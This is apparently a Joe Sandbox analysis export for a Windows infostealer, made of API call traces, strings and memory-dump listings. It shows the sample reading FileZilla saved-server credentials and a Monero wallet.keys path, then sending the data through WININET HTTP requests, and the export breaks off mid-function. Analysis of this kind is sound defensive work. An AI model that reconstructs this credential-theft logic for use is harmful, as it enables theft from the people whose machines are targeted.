lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E3054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00E30562
lstrcat.KERNEL32(?,profile: null), ref: 00E30571
lstrcat.KERNEL32(?,url: ), ref: 00E30580
lstrcat.KERNEL32(?,00000000), ref: 00E30593
lstrcat.KERNEL32(?,00E41678), ref: 00E305A2
lstrcat.KERNEL32(?,00000000), ref: 00E305B5
lstrcat.KERNEL32(?,00E4167C), ref: 00E305C4
lstrcat.KERNEL32(?,login: ), ref: 00E305D3
lstrcat.KERNEL32(?,00000000), ref: 00E305E6
lstrcat.KERNEL32(?,00E41688), ref: 00E305F5
lstrcat.KERNEL32(?,password: ), ref: 00E30604
lstrcat.KERNEL32(?,00000000), ref: 00E30617
lstrcat.KERNEL32(?,00E41698), ref: 00E30626
lstrcat.KERNEL32(?,00E4169C), ref: 00E30635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E3068E

Strings

profile: null, xrefs: 00E30568
login: , xrefs: 00E305CA
browser: FileZilla, xrefs: 00E30559
password: , xrefs: 00E305FB
<User>, xrefs: 00E30410
<Port>, xrefs: 00E303C6
url: , xrefs: 00E30577
<Host>, xrefs: 00E3037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00E302A4
<Pass encoding="base64">, xrefs: 00E3045A

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 8f70e467303d50ba7909672f4fe5822d37e0f9e5d0441ad93b64cfff1a53bab0
Instruction ID: 01d0346a88583d0f7b5c52e09d622bb4cd87ffbb341a074b3a07f6e04e7e0097
Opcode Fuzzy Hash: 8f70e467303d50ba7909672f4fe5822d37e0f9e5d0441ad93b64cfff1a53bab0
Instruction Fuzzy Hash: A9D12E72900208ABCB14FBE0DD9EEEE7BB8AF54300F545468F142B7095DE39AA45DB61

Function 00E25100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
Part of subcall function 00E247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

lstrlen.KERNEL32(00000000), ref: 00E25193

Part of subcall function 00E38EA0: CryptBinaryToStringA.CRYPT32(00000000,00E25184,40000001,00000000,00000000,?,00E25184), ref: 00E38EC0

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E25207
StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E25225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E25340
HttpOpenRequestA.WININET(00000000,0180FB20,?,0180F388,00000000,00000000,00400100,00000000), ref: 00E253A4

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0180FAD0,00000000,?,0180E8F8,00000000,?,00E419DC,00000000,?,00E351CF), ref: 00E25737
lstrlen.KERNEL32(00000000), ref: 00E2574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00E2575C
RtlAllocateHeap.NTDLL(00000000), ref: 00E25763
lstrlen.KERNEL32(00000000), ref: 00E25778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E257A9
lstrlen.KERNEL32(00000000), ref: 00E257C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E257E1
lstrlen.KERNEL32(00000000,?,?), ref: 00E2580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E25822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E2584D
InternetCloseHandle.WININET(00000000), ref: 00E258B1
InternetCloseHandle.WININET(00000000), ref: 00E258BE
InternetCloseHandle.WININET(00000000), ref: 00E258C8

Strings

------, xrefs: 00E25297
------, xrefs: 00E2563B
", xrefs: 00E25482
--, xrefs: 00E25280
------, xrefs: 00E253B7
", xrefs: 00E25706
------, xrefs: 00E254F9
", xrefs: 00E255C4

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 327f2f9fd12311c2f003fe76180cd792fbf2f9aa05a4b67ac1922137f412dcb6
Instruction ID: 4fa9a5a2f8ba5dbf81f5759fe41ec33186f53441bdca8675f87caa97ff99046b
Opcode Fuzzy Hash: 327f2f9fd12311c2f003fe76180cd792fbf2f9aa05a4b67ac1922137f412dcb6
Instruction Fuzzy Hash: 76323272920118ABDB18EBA0DC99FEE77B8BF54700F4451A9F14673092EF346A89CF51

Function 00E2A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3AA70: StrCmpCA.SHLWAPI(01809BB8,00E2A7A7,?,00E2A7A7,01809BB8), ref: 00E3AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E2AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00E2AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00E2ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E2A8B0

Part of subcall function 00E3A820: lstrlen.KERNEL32(00E24F05,?,?,00E24F05,00E40DDE), ref: 00E3A82B
Part of subcall function 00E3A820: lstrcpy.KERNEL32(00E40DDE,00000000), ref: 00E3A885

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

lstrcat.KERNEL32(?,00000000), ref: 00E2ACEB
lstrcat.KERNEL32(?,00E41320), ref: 00E2ACFA
lstrcat.KERNEL32(?,00000000), ref: 00E2AD0D
lstrcat.KERNEL32(?,00E41324), ref: 00E2AD1C
lstrcat.KERNEL32(?,00000000), ref: 00E2AD2F
lstrcat.KERNEL32(?,00E41328), ref: 00E2AD3E
lstrcat.KERNEL32(?,00000000), ref: 00E2AD51
lstrcat.KERNEL32(?,00E4132C), ref: 00E2AD60
lstrcat.KERNEL32(?,00000000), ref: 00E2AD73
lstrcat.KERNEL32(?,00E41330), ref: 00E2AD82
lstrcat.KERNEL32(?,00000000), ref: 00E2AD95
lstrcat.KERNEL32(?,00E41334), ref: 00E2ADA4
lstrcat.KERNEL32(?,00000000), ref: 00E2ADB7
lstrlen.KERNEL32(?), ref: 00E2AE0D
lstrlen.KERNEL32(?), ref: 00E2AE1C

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

DeleteFileA.KERNEL32(00000000), ref: 00E2AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00E2ABD4

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 616678fb654578294d241d7a8244c0cd189166d59f401d1bd76424e7b38cb26e
Instruction ID: f9e46c2c19567fab06dd03ab30655bf5d79fe2a87a2965ab73f1c6e111099e29
Opcode Fuzzy Hash: 616678fb654578294d241d7a8244c0cd189166d59f401d1bd76424e7b38cb26e
Instruction Fuzzy Hash: 27123172910108ABCB18FBA0DD9AEEE77B8BF54300F545068F543B3091DE35AE85CB62

Function 00E25960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
Part of subcall function 00E247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E259F8
StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E25A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E25B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0180FA70,00000000,?,0180E8F8,00000000,?,00E41A1C), ref: 00E25E71
lstrlen.KERNEL32(00000000), ref: 00E25E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00E25E93
RtlAllocateHeap.NTDLL(00000000), ref: 00E25E9A
lstrlen.KERNEL32(00000000), ref: 00E25EAF
lstrlen.KERNEL32(00000000), ref: 00E25ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E25EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00E25F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E25F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00E25F4C
InternetCloseHandle.WININET(00000000), ref: 00E25FB0
InternetCloseHandle.WININET(00000000), ref: 00E25FBD
HttpOpenRequestA.WININET(00000000,0180FB20,?,0180F388,00000000,00000000,00400100,00000000), ref: 00E25BF8

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

InternetCloseHandle.WININET(00000000), ref: 00E25FC7

Strings

", xrefs: 00E25CD5
------, xrefs: 00E25D4C
------, xrefs: 00E25A96
", xrefs: 00E25E16
------, xrefs: 00E25C0B

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 19665391db9c7956fc4ad7166f4cc46492edbea5306f26a076a9e1dbd0beaf3e
Instruction ID: 4da3866869c368503510095d5c7976043262032436c5a40b97807b3092816b39
Opcode Fuzzy Hash: 19665391db9c7956fc4ad7166f4cc46492edbea5306f26a076a9e1dbd0beaf3e
Instruction Fuzzy Hash: 7E12FF72920118AADB19EBA0DC9DFEEB7B8BF54700F4451A9F14673091DF342A89CF61

Function 00E2CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E38B60: GetSystemTime.KERNEL32(00E40E1A,0180EA18,00E405AE,?,?,00E213F9,?,0000001A,00E40E1A,00000000,?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E38B86

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E2CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E2D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00E2D0CE
lstrcat.KERNEL32(?,00000000), ref: 00E2D208
lstrcat.KERNEL32(?,00E41478), ref: 00E2D217
lstrcat.KERNEL32(?,00000000), ref: 00E2D22A
lstrcat.KERNEL32(?,00E4147C), ref: 00E2D239
lstrcat.KERNEL32(?,00000000), ref: 00E2D24C
lstrcat.KERNEL32(?,00E41480), ref: 00E2D25B
lstrcat.KERNEL32(?,00000000), ref: 00E2D26E
lstrcat.KERNEL32(?,00E41484), ref: 00E2D27D
lstrcat.KERNEL32(?,00000000), ref: 00E2D290
lstrcat.KERNEL32(?,00E41488), ref: 00E2D29F
lstrcat.KERNEL32(?,00000000), ref: 00E2D2B2
lstrcat.KERNEL32(?,00E4148C), ref: 00E2D2C1
lstrcat.KERNEL32(?,00000000), ref: 00E2D2D4
lstrcat.KERNEL32(?,00E41490), ref: 00E2D2E3

Part of subcall function 00E3A820: lstrlen.KERNEL32(00E24F05,?,?,00E24F05,00E40DDE), ref: 00E3A82B
Part of subcall function 00E3A820: lstrcpy.KERNEL32(00E40DDE,00000000), ref: 00E3A885

lstrlen.KERNEL32(?), ref: 00E2D32A
lstrlen.KERNEL32(?), ref: 00E2D339

Part of subcall function 00E3AA70: StrCmpCA.SHLWAPI(01809BB8,00E2A7A7,?,00E2A7A7,01809BB8), ref: 00E3AA8F

DeleteFileA.KERNEL32(00000000), ref: 00E2D3B4

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 832c30b52e1c14e8da080ec1ca125d43546849962afc5cbe98f2cce71636e01a
Instruction ID: aac3d3d1dc894b80369204406a96545b334ddf650ef9d87e9c02bfc1a7438354
Opcode Fuzzy Hash: 832c30b52e1c14e8da080ec1ca125d43546849962afc5cbe98f2cce71636e01a
Instruction Fuzzy Hash: B7E12272910108ABCB18FBA0DD9AEEE77B8BF54300F145169F187B7091DE35AE45CB62

Function 00E24880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
Part of subcall function 00E247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

